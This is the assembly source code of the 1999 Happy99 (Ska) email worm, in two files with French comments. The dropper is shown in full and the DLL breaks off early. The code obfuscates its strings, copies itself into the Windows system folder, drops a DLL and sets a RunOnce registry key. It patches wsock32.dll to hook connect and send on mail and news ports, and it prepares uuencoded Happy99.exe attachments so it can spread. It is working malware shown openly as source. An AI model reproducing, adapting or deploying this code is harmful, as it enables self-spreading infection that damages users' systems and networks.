Email-Worm.Win32.Happy99 - Source Code

������������������������������������������������������[Happy99_ska_exe.asm]���
;ska.exe = happy99.exe
;if you want to understand comments, learn french or use Altavista ;)
;at the very end, you can post a message for me in alt.comp.virus
;look at the readme.rtf with WordPad for some explanations
;
; created files:
;
;  wsock32.ska      clean backup of wsock32.dll
;  ska.dll      my dll
;  ska.exe      the dropper
;  Happy99.exe      the traveller
;  liste.ska        list of infected friends

;--------------------------- (c) Spanska 1999 ---------------------------------

.386
.model flat

;*******************************************************************************************
;***                               API WINDOWS UTILISEES                                 ***
;*******************************************************************************************

extrn           ExitProcess     :PROC
extrn       CreateFileA     :PROC
extrn       ReadFile        :PROC
extrn       WriteFile       :PROC
extrn       CloseHandle     :PROC
extrn       CreateFileMappingA  :PROC
extrn       MapViewOfFile       :PROC
extrn       UnmapViewOfFile     :PROC
extrn       GetFileSize     :PROC
extrn       GetModuleHandleA    :PROC
extrn       GetProcAddress      :PROC
extrn       GetVersionExA       :PROC
extrn       GetSystemDirectoryA :PROC
extrn       GetWindowsDirectoryA    :PROC
extrn       CopyFileA       :PROC
extrn       LocalAlloc      :PROC
extrn       LocalFree       :PROC
extrn       GetModuleFileNameA  :PROC
extrn       RegCreateKeyExA     :PROC
extrn       RegSetValueExA      :PROC
extrn       RegCloseKey     :PROC

extrn       RegisterClassA      :PROC
extrn       CreateWindowExA     :PROC
extrn       ShowWindow      :PROC
extrn       UpdateWindow        :PROC
extrn       PeekMessageA        :PROC
extrn       SetPixelV       :PROC
extrn       TranslateMessage    :PROC
extrn       DispatchMessageA    :PROC
extrn       DefWindowProcA      :PROC
extrn       GetDC           :PROC
extrn       ReleaseDC       :PROC
extrn       PostQuitMessage     :PROC

.data

;*******************************************************************************************
;***                                       DATAS                                         ***
;*******************************************************************************************

;============================= madll.dll compress�e et crypt�e =============================

include madll.inc

;================================== quelques noms crypt�s ==================================

signature   dd not "i sI", not " a t", not "uriv", not "a ,s", not "row ", not "a ,m"
        dd not "ort ", not "?naj", not "UOM ", not "OM-T", not "H TU", not "irby"
        dd not "c( d", not "pS )", not "ksna", not "91 a", not 0+".99"

        ;db "Is it a virus, a worm, a trojan? MOUT-MOUT Hybrid (c) Spanska 1999"

wsock_name      dd not "osw\"           ;db "\wsock32.dll",0
            dd not "23kc"
            dd not "lld."
            db not 0
wsock_name_size     equ $-offset wsock_name

ma_dll_name     dd not "akS\"           ;db "\Ska.dll",0
            dd not "lld."
            db not 0
ma_dll_name_size    equ $-offset ma_dll_name

dropper_name        dd not "akS\"           ;db "\Ska.exe",0
            dd not "exe."
            db not 0
dropper_name_size   equ $-offset dropper_name

sub_key_name        dd not "tfoS"
            dd not "eraw"
            dd not "ciM\"
            dd not "osor"           ;db "Software\Microsoft\Windows\
            dd not "W\tf"           ;db "CurrentVersion\RunOnce",0
            dd not "odni"
            dd not "C\sw"
            dd not "erru"
            dd not "eVtn"
            dd not "oisr"
            dd not "uR\n"
            dd not "cnOn"
            dw not 0+"e"

;====================================== divers ======================================

wsock_handle        dd ?
filehandlestock     dd ?
filemappinghandle   dd ?
startoffilemapping  dd ?
sizeofmappedfile    dd ?

startofPEheader     dd ?
nbofsection     dw ?
szoptheader     dw ?
diff            dd ?
cdiff           dd ?
idiff           dd ?
addoffunctions      dd ?
addofnames      dd ?        ;ne pas s�parer ces trois
addofordinals       dd ?
rvaendofcode        dd ?
rvaoriginale_1      dd ?
rvaoriginale_2      dd ?
startofcodeheader   dd ?
verif           dd ?

krnl32ofs       dd ?
krnl32name      db "KERNEL32.dll",0
llname          db "LoadLibraryA",0
flname          db "FreeLibrary",0
gpaname         db "GetProcAddress",0

llofs           dd ?
flofs           dd ?
gpaofs          dd ?

writebuffer     dd ?        ;writebuffer
system_dir      dd ?        ;writebuffer+28000  ;ne pas s�parer!
dropper_dir     dd ?        ;writebuffer+28200
system_dir_size     dd ?
NbBytesWritten      dd ?
ma_dll_handle       dd ?
NumberOfBytesRead   dd ?
key_handle      dd ?
patch_size      equ offset endpatch-offset startpatch

;============================ pour l'effet graphique ===========================

wndclass:
        clsStyle          dd 4003h  ; class style
        clsLpfnWndProc    dd ?
        clsCbClsExtra     dd 0
        clsCbWndExtra     dd 0
        clsHInstance      dd ?      ; instance handle
        clsHIcon          dd 0      ; class icon handle
        clsHCursor        dd 0      ; class cursor handle
        clsHbrBackground  dd 7      ; class background brush
        clsLpszMenuName   dd 0      ; menu name
        clsLpszClassName  dd ?      ; far ptr to class name

msg:
    msHWND          dd ?
    msMESSAGE       dd ?
    msWPARAM        dd ?
    msLPARAM        dd ?
    msTIME          dd ?
    msPT            dd ?
    protege dd ?

nb_explosions       dd 0
compteur        dd 0
yy          dd ?
xx          dd ?
seed            dd 0FFAABB11h
theDC           dd ?
nom_fenetre     db "Happy New Year 1999 !!",0
handle          dd ?
handle_wd       dd ?
adresse_retour      dd ?
pas_d_effet_graphique   dd ?

.code

HOST:

;*******************************************************************************************
;***                             SE RESERVER DE LA MEMOIRE                               ***
;*******************************************************************************************

push 1024*30        ;number of bytes to allocate
push LARGE 40h      ;allocation attributes (40h=LMEM_ZEROINIT)
call LocalAlloc
test eax, eax
jz stop
push eax

mov edi, offset writebuffer
stosd
add eax, 28000
stosd
add eax, 200
stosd

;*******************************************************************************************
;***                     VERIFIER QU'ON EST PAS SOUS W3.1                                ***
;*******************************************************************************************

;-------- quelle version de Windows?

pop eax
push eax
push eax
push eax
pop edi
mov eax, 148
stosd
call GetVersionExA
pop esi
add esi, 16
lodsd
cmp eax, 0          ;win32s=0, win32=1, WinNT=2
je stop

;*******************************************************************************************
;***                   COPIER LE DROPPER DANS C:\WINDOWS\SYSTEM                          ***
;*******************************************************************************************

;----- d�crypter les datas

mov esi, offset signature
push esi
pop edi
mov ecx, offset wsock_handle - offset signature
decrypte:
lodsb
not al
stosb
loop decrypte

;----- recup�rer le directory syst�me

push 200
push system_dir
call GetSystemDirectoryA        ;g�n�ralement C:\WINDOWS\SYSTEM
test eax, eax
jz stop2
mov system_dir_size, eax

;----- faire une copie du dropper dans C:\WINDOWS\SYSTEM

push 200
push dropper_dir
push 0
call GetModuleFileNameA         ;r�cup�rer son path actuel
test eax, eax
jz stop2

mov esi, dropper_dir            ;si jamais le prog est "Ska"
add esi, eax                ;et pas "Happy1999", se souvenir
sub esi, 5              ;de ne pas d�clencher l'effet
lodsb                   ;parce qu'il y a des chances
and al, 0DFh                ;que ce soit au boot
cmp al, "A"
jne c_pas_ska
mov pas_d_effet_graphique, -1

c_pas_ska:
mov esi, offset dropper_name
mov edi, system_dir
add edi, system_dir_size
mov ecx, dropper_name_size
rep movsb               ;concatenate "C:\WINDOWS\SYSTEM" et "DROP.EXE"

push 1                  ;si d�j� pr�sent, erreur
push system_dir
push dropper_dir
call CopyFileA              ;pas de test d'erreur car si on est au boot,
                    ;cet abruti se copie sur lui-m�me

;*******************************************************************************************
;***                      CREER MA DLL DANS C:\WINDOWS\SYSTEM                            ***
;*******************************************************************************************

;-------- d�compresser et cr��r madll.dll dans C:\WINDOWS\SYSTEM

mov esi, offset A
mov edi, writebuffer

loop_decompresse:
lodsd
cmp eax, " DNE"
je fin_decompresse
cmp eax, "OREZ"
je suite_de_zero_a_decompresser
not eax
stosd
jmp loop_decompresse

suite_de_zero_a_decompresser:
lodsd
mov ecx, eax
xor eax, eax
rep stosd
jmp loop_decompresse

fin_decompresse:
mov ecx, edi
sub ecx, writebuffer
mov NbBytesWritten, ecx

mov esi, offset ma_dll_name ;concatenate "c:\windows\system" and "madll.dll"
mov edi, system_dir
add edi, system_dir_size
mov ecx, ma_dll_name_size
rep movsb

xor eax, eax
push eax            ;handle of file with attributes to copy (0=Ludwig)
push 80h            ;file attributes (80h=FILE_ATTRIBUTE_NORMAL)
push 2              ;how to create (2=CREATE_ALWAYS)
push eax            ;address of security descriptor (0=Ludwig)
push eax            ;share mode (0=Prevents the file from being shared)
push 40000000h          ;access (read-write) mode (40000000h=GENERIC_WRITE)
push system_dir         ;address of file name
call CreateFileA
inc eax
jz stop
dec eax
mov ma_dll_handle, eax

push 0              ;addr. of structure needed for overlapped I/O (0 pour normale)
push offset NbBytesWritten  ;address of number of bytes written (si jamais tout n'est pas �crit)
push NbBytesWritten     ;number of bytes to write
push writebuffer        ;address of data to write to file
push ma_dll_handle      ;handle of file to write to
call WriteFile
test eax, eax
jz stop2

;*******************************************************************************************
;***                    FAIRE UNE COPIE PROPRE DE WSOCK32.DLL                            ***
;*******************************************************************************************

;------ cr��r le path entier de wsock32

mov esi, offset wsock_name
mov edi, system_dir
add edi, system_dir_size
mov ecx, wsock_name_size
rep movsb               ;concatenate "C:\WINDOWS\SYSTEM" et "WSOCK32.DLL"

;----- en faire une copie propre (ne suis-je point gentil?)

mov esi, system_dir
mov edi, dropper_dir
mov ecx, system_dir_size
add ecx, 13-4
rep movsb
mov eax, 0+"aks"
stosd

push 1                  ;si d�j� pr�sent, erreur
push dropper_dir
push system_dir
call CopyFileA

;*******************************************************************************************
;***                    INFECTER C:\WINDOWS\SYSTEM\WSOCK32.DLL                           ***
;*******************************************************************************************

;-------- ouvre wsock32.dll

xor eax, eax
push eax        ;handle of file with attributes to copy (0=Ludwig)
push 80h        ;file attributes (80h=FILE_ATTRIBUTE_NORMAL)
push 3          ;how to create (3=OPEN_EXISTING)
push eax        ;address of security descriptor (0=Ludwig)
push eax        ;share mode (0=Prevents the file from being shared)
push 0C0000000h     ;access (read-write) mode (0C0000000h=GENERIC_READ+GENERIC_WRITE)
push system_dir     ;address of name of the file
call CreateFileA
inc eax
jnz la_suite_bordel

;------ si wsock32.dll en cours d'utilisation, le dropper s'�x�cute au prochain boot

xor eax, eax
push writebuffer
push offset key_handle
push eax
push 1F0000h+1+2+4+8+10h+20h
push eax
push eax
push eax
push offset sub_key_name
push 80000002h              ;HKEY_LOCAL_MACHINE = 80000002h
call RegCreateKeyExA

mov eax, dropper_name_size-1
push eax
mov eax, offset dropper_name
inc eax
push eax
push 1                  ;REG_SZ=1
push 0
push eax
push key_handle
call RegSetValueExA

push key_handle
call RegCloseKey

jmp stop2

la_suite_bordel:
dec eax
mov wsock_handle, eax

;-------- prepare le mapping de wsock32.dll

xor eax, eax
push eax        ;name of file-mapping object (0=sans nom)
push eax        ;low-order 32 bits of object size
push eax        ;high-order 32 bits of object size  (0=meme taille que le fichier)
push 4          ;protection for mapping object (4=PAGE_READWRITE)
push eax        ;optional security attributes (0=d�faut)
push wsock_handle   ;handle of file to map
call CreateFileMappingA
test eax, eax
jz stop3
mov filemappinghandle, eax

;-------- mappe wsock32.dll

xor eax, eax
push eax        ;number of bytes to map (0=en entier)
push eax        ;low-order 32 bits of file offset
push eax        ;high-order 32 bits of file offset (0=meme taille que le fichier?)
push 6          ;access mode (6=SECTION_MAP_READ+SECTION_MAP_WRITE)
push filemappinghandle  ;file-mapping object to map into address space
call MapViewOfFile
test eax, eax
jz stop4
mov startoffilemapping, eax

;------- verifie le MZ dans le header

mov esi, eax
cmp word ptr [esi], "ZM"
jne stop4

;------- verifie si deja infecte

cmp byte ptr [esi+12h], "z"
je stop4
mov byte ptr [esi+12h], "z"

;------- verifie le PE dans le header

add esi, [esi+3ch]          ;taille du stub DOS
cmp word ptr [esi], "EP"
jne stop4
mov startofPEheader, esi

;------- recupere quelques donnees dans le header

mov ax, [esi+6]
mov nbofsection, ax         ;number of sections
xor ecx, ecx
mov cx, nbofsection

mov ax, [esi+20]
mov szoptheader, ax         ;size of optional header

mov ebx, esi
add ebx, 24
xor eax, eax
add ax, szoptheader
add ebx, eax

;------- trouve les sections .edata, .text, .data

ttes_les_sections:
mov eax, [ebx]
cmp eax, "xet."
je trouve_text
continue_apres_text:
cmp eax, "ade."
je trouve_edata
continue_apres_edata:
cmp eax, "tad."
je trouve_data
continue_apres_data:
add ebx, 40         ;taille d'un section header
dec ecx
jnz ttes_les_sections
jmp tout_trouve

;------- recupere des donnees dans le header de la section "exported data"

trouve_edata:
mov eax, [ebx+12]
sub eax, [ebx+20]
mov diff, eax
jmp continue_apres_edata

;------- recupere des donnees dans le header de la section "code"

trouve_text:
test [ebx+36], 60000020h    ;test si c'est du code
jz stop
or [ebx+36], 80000000h      ;rendre la section code capable d'�tre automodifi�e
mov startofcodeheader, ebx
mov eax, [ebx+16]
mov edi, [ebx+8]
sub eax, edi
cmp eax, patch_size     ;test si suffisamment de place ds section code
jb stop
mov eax, [ebx+12]
mov edx, [ebx+20]
sub eax, edx
mov cdiff, eax
add edx, edi
mov rvaendofcode, edx
jmp continue_apres_text

;------- recupere des donnees dans le header de la section "imported data"

trouve_data:
mov eax, [ebx+12]
sub eax, [ebx+20]
mov idiff, eax
jmp continue_apres_data

;---------- se pr�parer � scanner la table des fonctions export�es

tout_trouve:

mov edi, offset addoffunctions
mov edx, diff
mov ebx,[esi+120]
mov esi, startoffilemapping         ; get export table RVA
sub ebx, edx
add ebx, esi

mov eax, [ebx+28]
sub eax, edx
add eax, esi
stosd                       ;addoffunctions
mov eax, [ebx+32]
sub eax, edx
add eax, esi
stosd                       ;addofnames
mov eax, [ebx+36]
sub eax, edx
add eax, esi
stosd                       ;addofordinals

mov ecx,[ebx+24]                          ; get number of name ptrs
xor edx,edx                               ; edx is our ordinal counter
mov esi, addofnames

;trouve le point d'entr�e des fc export�es (connect, send) dans l'image mapp�e de Wsock32.dll

mov verif, 0            ;pour v�rifier qu'on a bien trouv� les 2 fonctions
cherche_API:
mov ebx, [esi]
sub ebx, diff
add ebx, startoffilemapping
mov eax, [ebx]
cmp eax, "nnoc"
je trouve_API_1
cmp eax, "dnes"
je trouve_API_2
fausse_alerte:
inc edx
add esi, 4
dec ecx
jnz cherche_API
cmp verif, 2            ;on en cherche 2
jne stop
jmp suite

;-------- on a trouv� "connect"

trouve_API_1:
add ebx, 4
mov eax, [ebx]
cmp eax, 0+"tce"
jne fausse_alerte

push edx
push esi

mov ebx, addofordinals
shl edx, 1
add ebx, edx

xor eax, eax
mov ax, word ptr [ebx]

mov esi, addoffunctions
shl eax, 2
add esi, eax

mov eax, [esi]              ;dans eax: RVA de connect
mov rvaoriginale_1, eax

mov eax, rvaendofcode
add eax, cdiff
add eax, (offset redirect_to_my_connect - offset startpatch)
mov [esi], eax              ;changer le point d'entree de la fonction

inc verif               ;une fc trouv�e de plus
pop esi
pop edx
jmp fausse_alerte

;-------- on a trouv� send

trouve_API_2:
add ebx, 4
mov al, byte ptr [ebx]
cmp al, 0
jne fausse_alerte

push edx
push esi

mov ebx, addofordinals
shl edx, 1
add ebx, edx

xor eax, eax
mov ax, word ptr [ebx]

mov esi, addoffunctions
shl eax, 2
add esi, eax

mov eax, [esi]              ;dans eax: RVA de send
mov rvaoriginale_2, eax

mov eax, rvaendofcode
add eax, cdiff
add eax, (offset redirect_to_my_send - offset startpatch)
mov [esi], eax              ;changer le point d'entree de la fonction

inc verif               ;une fc trouv�e de plus
pop esi
pop edx
jmp fausse_alerte

suite:

mov esi, startofcodeheader
add dword ptr [esi+8], patch_size   ;changer dans le header la taille du code total

;------- cherche l'offset-handle du kernel32

push offset krnl32name
call GetModuleHandleA
test eax, eax
jz stop4
mov krnl32ofs, eax

;------- cherche l'adresse de l'API LoadLibrary qu'on appelera dans le patch
;(mieux vaut aller direct dans le Kernel)

push offset llname
push krnl32ofs
call GetProcAddress
test eax, eax
jz stop4
mov llofs, eax

;------- cherche l'adresse de l'API FreeLibrary qu'on appelera dans le patch
;(mieux vaut aller direct dans le Kernel)

push offset flname
push krnl32ofs
call GetProcAddress
test eax, eax
jz stop4
mov flofs, eax

;------- cherche l'adresse de l'API GetProcAddress qu'on appelera dans le patch
;(mieux vaut aller direct dans le Kernel)

push offset gpaname
push krnl32ofs
call GetProcAddress
test eax, eax
jz stop4
mov gpaofs, eax

;------- installer le patch

mov edi, rvaendofcode
add edi, startoffilemapping
call endpatch

    ;********************** CODE INSERE DANS WSOCK32.DLL **********************

    startpatch:

    ;===============> point d'entr�e de la nouvelle connect <======================

    redirect_to_my_connect:
    pushfd
    pushad

    ;----- chope delta offset

    call delta1
    delta1: pop edi
    add edi, offset no_socket_mail-offset delta1

    ;----- v�rifier si c'est une session mail ou news

    mov ebx, [esp+32+4+4+4]     ;32=pushad/4=pushfd/4=call/4=no de socket
    mov byte ptr al, [ebx+3]    ;le port dans al
    cmp al, 25          ;connection mail?
    jne teste_119
    mov eax, [esp+32+4+4]       ;no de socket
    stosb               ;stocke le no de socket connect�e au port 25
                    ;(dans no_socket_mail)
    inc edi             ;edi pointe maintenant sur handle_madll
    jmp la_suite
    teste_119:
    cmp al, 119         ;connection news?
    jne retour_a_connect        ;non=>on revient au send original
    inc edi             ;edi pointe maintenant vers no_socket_news
    mov eax, [esp+32+4+4]       ;no de socket
    stosb               ;stocke le no de socket connect�e au port 119
                    ;(dans no_socket_news)

    ;------ on charge ma librairie (LoadLibrary)

    la_suite:
    call ici_offset_de_ll           ;pour avoir "madll.dll" sur le stack
    db "Ska.dll",0
    ici_offset_de_ll:
    mov eax, -1             ;!!!transform� au moment de l'infection!!!!!
    call eax                ;call LoadLibrary
    stosd                   ;sauver le handle de ma librairie

    ;------ et on se casse

    retour_a_connect:
    popad
    popfd
    ici_retour_relatif_a_connect:
    db 0E9h,0,0,0,0             ;!!!transform� au moment de l'infection!!!!!

    ;================> point d'entr�e de la nouvelle send <============================

    redirect_to_my_send:
    pushfd
    pushad

    ;----- chope delta offset

    call delta2
    delta2: pop esi
    add esi, offset no_socket_mail-offset delta2

    ;----- on v�rifie le numero de socket

    lodsw                   ;no_socket_mail = al, no_socket_news = ah
    mov ebx, [esp+32+4+4]           ;no de socket de la session actuelle
    cmp ah, bl              ;la socket actuelle est li�e au port 119?
    je send_port_nntp           ;oui => on va ds la dll, routine "news"
    cmp al, bl              ;la socket actuelle est li�e au port 25?
    je send_port_smtp           ;oui => on va ds la dll, routine "mail"

    jmp retour_a_send           ;socket actuelle li�e � autre port, on revient

    ;------ r�cup�rer l'offset de ma fonction (GetProcAddress)

    send_port_smtp:
    call zz_getprocad1          ;pour avoir "mail" sur le stack
    db "mail",0

    send_port_nntp:
    call zz_getprocad1          ;pour avoir "news" sur le stack
    db "news",0

    zz_getprocad1:
    lodsd                   ;r�cup du handle de ma librairie
    push eax                ;handle de ma librairie
    ici_offset_de_gpa:
    mov eax, -1             ;!!!transform� au moment de l'infection!!!!
    call eax                ;call GetProcAddress
    test eax, eax               ;probleme?
    jz retour_a_send            ;oui => on se casse

    ;------ appeler ma fonction avant send

    call eax                ;call MaFonction dans ma dll
    cmp al, 1               ;si en retour al=1, on ne d�charge pas ma dll
    je retour_a_send            ;mais on revient simplement au send original
    xchg ax, bx             ;dans bl on a "N" ou "M"

    ;------ ma fonction a fini son travail?

    call delta3
    delta3: pop esi
    add esi, offset no_socket_mail-offset delta3    ;esi pointe vers no_socket_mail

    push esi
    pop edi                 ;edi aussi
    xor eax, eax

    cmp bl, "N"             ;une session news a foir�?
    jne autre               ;non => teste si c'est du mail
    inc edi                 ;edi pointe vers no_socket_news
    stosb                   ;on annule le hook de send_news
    lodsb                   ;et on regarde si send_mail est toujours hook�
    cmp al, 0
    jne retour_a_send           ;send_mail est toujours hook� => on revient
    inc esi                 ;esi pointe vers handle_madll
    jmp unload_dll              ;send_mail n'est pas hook� non plus
                        ;=> on d�charge ma dll (facon de parler)

    autre:
    cmp bl, "M"             ;une session mail a foir�?
    jne retour_a_send           ;non => on revient
    stosb                   ;on annule le hook de send_mail
    inc edi                 ;edi pointe vers handle_madll
    inc esi                 ;esi pointe vers no_socket_news
    lodsb                   ;on regarde si send_news est toujours hook�
    cmp al, 0
    jne retour_a_send           ;send_news est toujours hook� => on revient

    ;------ si oui, on d�charge ma librairie

    unload_dll:
    lodsd                   ;handle de ma dll dans eax
    push eax
    ici_offset_de_fl:
    mov eax, -1             ;!!!transform� au moment de l'infection!!!!!
    call eax                ;call FreeLibrary

    ;----- on revient au send original

    retour_a_send:
    popad
    popfd
    ici_retour_relatif_a_send:
    db 0E9h,0,0,0,0             ;!!!transform� au moment de l'infection!!!!!

    no_socket_mail:     db 0
    no_socket_news:     db 0        ;ne pas s�parer ces trois enfoir�s
    handle_madll:       dd 0

    endpatch:

    ;***************************** FIN DU CODE INSERE ******************


;------ �crire le code dans l'image mapp�e

pop esi
mov ecx, offset endpatch-offset startpatch
rep movsb

;------ �crire les bonnes r�f�rences aux 3 API du kernel

mov eax, llofs
mov [edi-(offset endpatch-offset ici_offset_de_ll)+1], eax
mov eax, gpaofs
mov [edi-(offset endpatch-offset ici_offset_de_gpa)+1], eax
mov eax, flofs
mov [edi-(offset endpatch-offset ici_offset_de_fl)+1], eax

;----- �crire les bons sauts de retour

mov edx, cdiff
mov eax, rvaendofcode
add eax, edx
add eax, (offset ici_retour_relatif_a_connect- offset startpatch)+4
sub eax, rvaoriginale_1
not eax
mov [edi-(offset endpatch-offset ici_retour_relatif_a_connect)+1], eax

mov eax, rvaendofcode
add eax, edx
add eax, (offset ici_retour_relatif_a_send- offset startpatch)+4
sub eax, rvaoriginale_2
not eax
mov [edi-(offset endpatch-offset ici_retour_relatif_a_send)+1], eax

stop5:
push startoffilemapping
call UnmapViewOfFile

stop4:
push filemappinghandle
call CloseHandle

stop3:
push wsock_handle
call CloseHandle

stop2:
push writebuffer
call LocalFree

stop:
cmp pas_d_effet_graphique, 0
je effet_graphique

push LARGE -1
call ExitProcess             ;this simply terminates the program

;*******************************************************************************************
;***                                 EFFET GRAPHIQUE                                     ***
;*******************************************************************************************

effet_graphique:
nombre_explosion_maxi equ 16

;----- se r�server de la m�moire

push (32*257)*nombre_explosion_maxi     ;number of bytes to allocate
push LARGE 40h                  ;allocation attributes (40h=LMEM_ZEROINIT)
call LocalAlloc
mov writebuffer, eax

;----- enregistrer la wndclass

push 0
call GetModuleHandleA
mov handle, eax

mov clsHInstance, eax
mov eax, offset wndproc
mov clsLpfnWndProc, eax
mov clsLpszClassName, offset nom_fenetre

push offset wndclass
call RegisterClassA

;----- creer la fenetre

xor eax, eax
push eax
push handle
push eax
push eax
push 512            ;hauteur
push 256            ;largeur
push 100            ;y
push 100            ;x
push 00080000h+00040000h
push offset nom_fenetre
push offset nom_fenetre
push eax                ;extra style
call CreateWindowExA
mov handle_wd, eax

push 1
push handle_wd
call ShowWindow

push handle_wd
call UpdateWindow

push handle_wd
call GetDC
mov theDC, eax

;----- le message loop

msg_loop:
xor eax, eax
push 1
push eax
push eax
push eax
push offset msg
call PeekMessageA
test eax, eax
jnz process_messages

;-------- dessiner tous les points

mov eax, compteur
and eax, nombre_explosion_maxi-1
mov compteur, eax
cmp eax, 0
jz ini_explosion

la_suite@:

mov ecx, 16*256
mov esi, writebuffer

zozo2:
push ecx
push esi
pop edi
add edi, 20
mov eax, dword ptr [esi+8]
stosd
mov eax, dword ptr [esi+12]
stosd

add dword ptr [esi], 001000h
lodsd
add dword ptr [esi+4], eax
lodsd
add dword ptr [esi+4], eax

lodsd
sar eax, 16
mov edx, eax
lodsd
sar eax, 16
mov ebx, eax

lodsd
cmp eax, 0
jne point_pas_noir
add esi, 8
jmp fin_loop

point_pas_noir:
sub byte ptr [esi-4], 1
jnc R_pas_a_zero
mov byte ptr [esi-4], 0
R_pas_a_zero:
sub byte ptr [esi-3], 1
jnc G_pas_a_zero
mov byte ptr [esi-3], 0
G_pas_a_zero:
sub byte ptr [esi-2], 1
jnc B_pas_a_zero
mov byte ptr [esi-2], 0
B_pas_a_zero:

push esi

push eax        ;colorref
push edx        ;y
push ebx        ;x
push theDC      ;the Device Context
call SetPixelV      ;quand la fenetre est repeinte, on met le pixel � sa coordonn�e

pop esi

lodsd
sar eax, 16
mov edx, eax
lodsd
sar eax, 16

push esi

push 0
push edx
push eax
push theDC
call SetPixelV

pop esi

fin_loop:
add esi, 4

pop ecx
dec ecx
jnz zozo2

inc compteur

jmp msg_loop

;----- pour voir si la fenetre est ferm�e

process_messages:

cmp msMESSAGE, 12h  ;WM_QUIT equ 0012h
je end_loop

mov eax, offset msg
push eax
push eax
call TranslateMessage
call DispatchMessageA
jmp msg_loop

end_loop:

push theDC
push handle_wd
call ReleaseDC

mov pas_d_effet_graphique, -1

jmp stop2

;----- proc�dure de fen�tre vide pour acc�l�rer

wndproc:

pop eax
mov adresse_retour, eax
cmp dword ptr [esp+4], 2
jne suite_prout

push 0
call PostQuitMessage
xor eax, eax
jmp suite2

suite_prout:
call DefWindowProcA

suite2:
mov ecx, adresse_retour
push ecx

ret

;----- proc�dure pour initialiser une explosion

ini_explosion:

mov eax, nb_explosions
and eax, nombre_explosion_maxi-1
mov nb_explosions, eax
shl eax, 13
mov edi, writebuffer
add edi, eax
mov ecx, 256

call random
shr eax, 8
mov xx, eax
call random
shr eax, 8
mov yy, eax
call random
shr eax, 8
or eax, 0AF0F0Fh
mov ebx, eax

zozo:
call random
shr eax, 15
mov [edi], eax

mov [edi+4], ecx
fild dword ptr [edi+4]      ;slow but good for size
fsin
fimul dword ptr [edi]
fild dword ptr [edi+4]
fcos
fimul dword ptr [edi]
fistp dword ptr [edi]
fistp dword ptr [edi+4]

add edi, 8

mov eax, yy
stosd
mov eax, xx
stosd

mov eax, ebx
stosd

add edi, 12
loop zozo

inc nb_explosions
jmp la_suite@

;----- random

random:

mov eax, 214013h
imul seed
sub edx, edx                ; Prevent divide overflow by caller
add eax, 2531011h
mov seed, eax
ret

end     HOST

;--------------------------- (c) Spanska 1999 ---------------------------------
������������������������������������������������������[Happy99_ska_exe.asm]���
������������������������������������������������������[Happy99_ska_dll.asm]���
;ska.dll
;if you want to understand comments, learn french or use Altavista ;)
;at the very end, you can post a message for me in alt.comp.virus
;look at the readme.rtf with WordPad for some explanations

;--------------------------- (c) Spanska 1999 ---------------------------------

.386
.model flat

;*******************************************************************************************
;***                               API WINDOWS UTILISEES                                 ***
;*******************************************************************************************

extrn       recv            :PROC
extrn       WSAGetLastError     :PROC
extrn       LocalAlloc      :PROC
extrn       LocalFree       :PROC
extrn       GetSystemDirectoryA :PROC
extrn       CreateFileA     :PROC
extrn       CreateFileMappingA  :PROC
extrn       MapViewOfFile       :PROC
extrn       UnmapViewOfFile     :PROC
extrn       GetFileSize     :PROC
extrn       CloseHandle     :PROC
extrn       WriteFile       :PROC
extrn       ReadFile        :PROC
extrn       SetFilePointer      :PROC

.data

;*******************************************************************************************
;***                                  ZONE DE DONNEES                                    ***
;*******************************************************************************************

;======================== commandes pour les serveurs ======================================

smtp_sender_size    dd ?
smtp_recipient_size dd ?

smtp_rset       db "RSET",0Dh,0Ah
size_smtp_rset      equ $-offset smtp_rset

smtp_data       db "DATA",0Dh,0Ah
size_smtp_data      equ $-offset smtp_data

nntp_post       db "POST",0Dh,0Ah
size_nntp_post      equ $-offset nntp_post

point           db 0Dh,0Ah,2Eh,0Dh,0Ah      ;"."
size_point      equ $-offset point

;========================= donn�es pour le uucodage ========================================

filemappinghandle   dd ?
startoffilemapping  dd ?
sizeofmappedfile    dd ?
nb_45           dd ?
reste_45        db ?
nb_1000         dd ?
reste_1000      dd ?
size_uu_file        dd ?

debut           db not 0Dh, not 0Ah     ;db 0Dh,0Ah,"begin 644
            dd not "igeb"           ;Happy99.exe",0Dh,0Ah
            dd not "46 n"
            dd not "aH 4"
            dd not "9ypp"
            dd not "xe.9"
            db not "e"
            db not 0Dh, not 0Ah
size_debut      equ $-offset debut

fin         db not 60h          ;db 60h, 0Dh,0Ah,"end",0Dh,0Ah
            db not 0Dh, not 0Ah
            db not "e", not "n", not "d"
            db not 0Dh, not 0Ah
size_fin        equ $-offset fin

;============================== mes fichiers ===============================================

dropper_name        dd not "akS\"           ;db "\Ska.exe",0
            dd not "exe."
            db not 0
dropper_name_size   equ $-offset dropper_name

liste_name      dd not "sil\"           ;db "\liste.ska",0
            dd not "s.et"
            dw not "ak"
            db not 0
liste_name_size     equ $-offset liste_name

dropper_handle      dd ?
liste_handle        dd ?
liste_size      dd ?
system_dir_size     dd ?

;=================================== divers =================================================

size_headers        dd ?
offset_mem_buffer   dd ?
original_send       dd ?
no_socket       dd ?
nb_rcpt         dd 0
faut_pas_envoyer_mail   dd 0

offset_mem_buffer2_headers  dd ?        ;mem_buffer2
offset_mem_buffer2_recipient    dd ?        ;mem_buffer2 + 3000 ;ne pas s�parer
offset_mem_buffer2_sender   dd ?        ;mem_buffer2 + 6000
offset_mem_buffer2_rcv      dd ?        ;mem_buffer2 + 7000
offset_mem_buffer2_system_dir   dd ?        ;mem_buffer2 + 7100

.code

dll:

;*******************************************************************************************
;***                      ROUTINES D'INITIALISATION DE LA DLL                            ***
;*******************************************************************************************

PUBLIC dllini
dllini proc

;------- Proc�dure de chargement ou de d�chargement ?

cmp dword ptr [esp+8], 0    ;1=DLL_PROCESS_DETACH ds la proc DllEntryPoint
je dechargement_dll

cmp dword ptr [esp+8], 1    ;1=DLL_PROCESS_ATTACH ds la proc DllEntryPoint
je chargement_dll       ;pas 1, teste 0

jmp end_ini_proc

;------ Cette routine est appel�e � chaque chargement de la DLL

chargement_dll:

;----- d�crypter les datas

mov esi, offset debut
push esi
pop edi
mov ecx, offset dropper_handle - offset debut
decrypte:
lodsb
not al
stosb
loop decrypte

;------- se r�server 5 Ko de m�moire pour headers/rcpt si ce n'est pas deja fait

push 8*1024
push 40h
call LocalAlloc
test eax, eax
jnz ca_baigne
xor eax, eax
jmp end_ini_proc_with_problem

ca_baigne:
mov edi, offset offset_mem_buffer2_headers
stosd
add eax, 3000
stosd
add eax, 3000
stosd
add eax, 1000
stosd
add eax, 100
stosd

jmp end_ini_proc

;------ Cette routine est appel�e � chaque d�chargement de la DLL

dechargement_dll:

push offset_mem_buffer2_headers         ;le petit tampon interm�diaire
call LocalFree

end_ini_proc:
